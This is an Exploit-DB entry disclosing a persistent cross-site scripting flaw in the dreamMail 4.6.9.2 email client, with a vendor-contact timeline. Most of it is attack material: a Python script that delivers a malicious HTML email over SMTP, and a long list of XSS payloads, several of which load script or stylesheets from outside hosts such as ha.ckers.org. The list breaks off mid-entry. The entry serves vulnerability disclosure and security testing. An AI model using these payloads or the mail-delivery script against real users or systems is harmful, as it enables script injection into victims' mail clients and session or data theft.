Exploit-DB #27805
Description: dreamMail e-mail client 4.6.9.2 - Persistent Cross-Site Scripting
Type: remote
Platform: windows
Date: 2013-08-23
Author: loneferret

Exploit:
#!/usr/bin/python
'''

Author: loneferret of Offensive Security
Product: dreamMail e-mail client
Version: 4.6.9.2
Vendor Site: http://www.dreammail.eu
Software Download: http://www.dreammail.eu/intl/en/download.html

Tested on: Windows XP SP3 Eng.
Tested on: Windows 7 Pro SP1 Eng.
dreamMail: Using default settings


E-mail client is vulnerable to stored XSS. Either opening or viewing the e-mail and you 
get an annoying alert box etc etc etc.
Injection Point: Body
 
Gave vendor 7 days to reply in order to co-ordinate a release date. 
Timeline:
16 Aug 2013: Tentative release date 23 Aug 2013
16 Aug 2013: Vulnerability reported to vendor. Provided complete list of payloads.
19 Aug 2013: Still no response. Sent second e-mail.
22 Aug 2013: Got a reply but not from development guy. He seems MIA according to contact.
             No longer supported due to missing development guy. 
23 Aug 2013: Still nothing.
24 Aug 2013: Release

'''

import smtplib, urllib2

payload = '''<IMG SRC='vbscript:msgbox("XSS")'>'''

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@offsec.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS payload\n"
        msg += "Content-type: text/html\n\n"
        msg += payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "acker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@offsec.local"
frmemail = "acker@offsec.local"
smtpsrv  = "xxx.xxx.xxx.xxx"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

'''
List of XSS types and different syntaxes to which the client is vulnerable.
Each payload will pop a message box, usually with the message "XSS" inside.


Paylaod-: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Paylaod-: <SCRIPT SRC=http://server/xss.js></SCRIPT>

Paylaod-: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Paylaod-: <BODY BACKGROUND="javascript:alert('XSS');">

Paylaod-: <BODY ONLOAD=alert('XSS')>

Paylaod-: <DIV STYLE="background-image: url(javascript:alert('XSS'))">

Paylaod-: <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

Paylaod-: <DIV STYLE="width: expression(alert('XSS'));">

Paylaod-: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

Paylaod-: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Paylaod-: <IMG SRC="javascript:alert('XSS');">

Paylaod-: <IMG SRC=javascript:alert('XSS')>

Paylaod-: <IMG DYNSRC="javascript:alert('XSS');">

Paylaod-: <IMG LOWSRC="javascript:alert('XSS');">Paylaod-: 21exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

Paylaod-: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

Paylaod-: <IMG SRC='vbscript:msgbox("XSS")'>

Paylaod-: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>

Paylaod-: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Paylaod-: <XSS STYLE="xss:expression(alert('XSS'))">

Paylaod-: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

Paylaod-: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Paylaod-: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Paylaod-: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

Paylaod-: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Paylaod-: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>

Paylaod-: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>

Paylaod-: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

Paylaod-: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Paylaod-: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>

Paylaod-: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

Paylaod-: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

Paylaod-: <IMG SRC=JaVaScRiPt:alert('XSS')>

Paylaod-: <IMG SRC=javascript:alert("XSS")>

Paylaod-: <IMG SRC=`javascript:alert("We says, 'XSS'")`>

Paylaod-: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Paylaod-: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Paylaod-: <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Paylaod-: <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Paylaod-: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Paylaod-: </TITLE><SCRIPT>alert("XSS");</SCRIPT>

Paylaod-: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

Paylaod-: <IMG SRC="jav	ascript:alert('XSS');">

Paylaod-: <IMG SRC="jav&#x09;ascript:alert('XSS');">

Paylaod-: <IMG SRC="jav&#x0A;ascript:alert('XSS');">

Paylaod-: <IMG SRC="jav&#x0D;ascript:alert('XSS');">

Paylao